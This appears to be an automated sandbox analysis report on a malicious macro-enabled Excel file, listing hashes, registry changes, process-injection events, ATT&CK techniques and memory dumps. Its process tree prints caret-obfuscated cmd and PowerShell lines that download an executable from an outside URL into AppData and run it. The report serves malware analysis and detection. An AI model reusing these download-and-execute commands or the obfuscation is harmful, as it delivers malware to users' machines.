8ce437b22df609ef044e937d4fcb5b711d2d5af31e0ef919ba20851dfae9fa57

General

Target

d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm
Size

85KB
MD5

7a45941305a7b20939257f9fdd30f39d
SHA1

d689973704061d25b928229352db2a5394c2f52c
SHA256

d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f
SHA512

45d3ff42e59db13969adf069dbb7017ba5b349377dadcc18ac445f9aff0561a15cc3b54ab83818e64f175b9ca2ab7548d6a9059aaffa7ed0ddf62aa99cafd10e

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1892	1104	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1780	1104	cmd.exe	EXCEL.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

1892 cmd.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
1892	cmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1104 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1812 powershell.exe
1812 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1812 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1104 EXCEL.EXE
1104 EXCEL.EXE
1104 EXCEL.EXE

pid	process
1104	EXCEL.EXE

pid	process
1812	powershell.exe
1812	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1812	powershell.exe

pid	process
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1104 wrote to memory of 1892	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1892	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1892	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1892	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1780	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1780	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1780	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 1780	1104	EXCEL.EXE	cmd.exe
PID 1892 wrote to memory of 1812	1892	cmd.exe	powershell.exe
PID 1892 wrote to memory of 1812	1892	cmd.exe	powershell.exe
PID 1892 wrote to memory of 1812	1892	cmd.exe	powershell.exe
PID 1892 wrote to memory of 1812	1892	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d5af0628161872a7715bbed443617e022d4d4275cf871c615a4a4a6021f4c79f.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Roaming\AyBtH.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812

C:\Windows\SysWOW64\cmd.exe
cmd /c c^u^r^l.exe --output %appdata%\AyBtH.exe --url https://buydomainnameuk.com/css/bin2.exe
2⤵
- Process spawned unexpected child process
PID:1780

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1104-61-0x0000000071D01000-0x0000000071D03000-memory.dmp

Filesize
8KB

Download
memory/1104-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1104-60-0x000000002F641000-0x000000002F644000-memory.dmp

Filesize
12KB

Download
memory/1780-64-0x0000000000000000-mapping.dmp

Download
memory/1812-70-0x00000000049E2000-0x00000000049E3000-memory.dmp

Filesize
4KB

Download
memory/1812-75-0x0000000006040000-0x0000000006041000-memory.dmp

Filesize
4KB

Download
memory/1812-66-0x0000000076E11000-0x0000000076E13000-memory.dmp

Filesize
8KB

Download
memory/1812-67-0x0000000000C60000-0x0000000000C61000-memory.dmp

Filesize
4KB

Download
memory/1812-68-0x00000000049E0000-0x00000000049E1000-memory.dmp

Filesize
4KB

Download
memory/1812-69-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/1812-106-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

Download
memory/1812-71-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1812-72-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1812-65-0x0000000000000000-mapping.dmp

Download
memory/1812-80-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1812-81-0x0000000006210000-0x0000000006211000-memory.dmp

Filesize
4KB

Download
memory/1812-88-0x00000000061B0000-0x00000000061B1000-memory.dmp

Filesize
4KB

Download
memory/1812-89-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1812-90-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1812-91-0x0000000006160000-0x0000000006161000-memory.dmp

Filesize
4KB

Download
memory/1812-105-0x00000000063F0000-0x00000000063F1000-memory.dmp

Filesize
4KB

Download
memory/1892-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads